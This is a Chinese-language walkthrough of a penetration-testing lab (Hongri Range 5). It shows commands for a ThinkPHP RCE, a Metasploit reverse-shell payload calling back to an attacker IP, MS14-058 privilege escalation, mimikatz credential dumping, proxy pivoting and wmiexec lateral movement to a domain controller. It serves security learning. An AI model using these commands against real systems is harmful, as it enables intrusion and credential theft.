无境红日靶场五 wp

本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记

文章目录

前文链接
一层Win7
- WebShell
- Msf
- 提权
- 抓密码
- 横向
二层域控
- 一级代理
wmiexec

前文链接

一层Win7

WebShell

目标IP：192.168.111.150，用nmap快速扫全端口

bash 复制代码

nmap -p- -T4 --min-rate 2000 -n -Pn 192.168.111.150

重点是80端口的web服务，打开发现是一个Thinkphp

使用利用工具测试，存在ThinkPHP 5.0.22/5.1.29 RCE

用工具一键getshell

Administrator权限的Win7，明显在域中

Msf

用reverse_tcp生成shellcode

bash 复制代码

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.25 lport=6666 -f exe > 1.exe

msfconsole这样子配置

bash 复制代码

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run

把生成的1.exe放到服务器上运行，成功获取到meterpreter

提权

systeminfo看补丁信息

我靠这么多

考虑使用MS14-058进行提权

bash 复制代码

use exploit/windows/local/ms14_058_track_popup_menu
set payload windows/x64/meterpreter/reverse_tcp
set SESSION 1
set LHOST 192.168.111.25
set target 1
run

成功得到SYSTEM的meterpreter

抓密码

bash 复制代码

load kiwi

bash 复制代码

creds_all

666演都不演了，得到密码为dc123.com

横向

systeminfo查到当前域为sun.com

用meterpreter直接查域控

bash 复制代码

run post/windows/gather/enum_domain

得到域控IP为192.168.138.138

二层域控

一级代理

用autoroute建立一级代理，走192.168.138.0/24段

bash 复制代码

run post/multi/manage/autoroute

然后创建socks5代理

bash 复制代码

use auxiliary/server/socks_proxy
run

用proxychain来配置代理，在/etc/proxychain4.conf最后一行加上

bash 复制代码

socks5	127.0.0.1 1080

可以用nc测试代理是否建立成功

bash 复制代码

proxychains nc -zv 192.168.138.138 445

能连通即为成功

wmiexec

直接用psexec横向getshell

bash 复制代码

proxychains impacket-wmiexec SUN/Administrator:'dc123.com'@192.168.138.138

好简单的靶场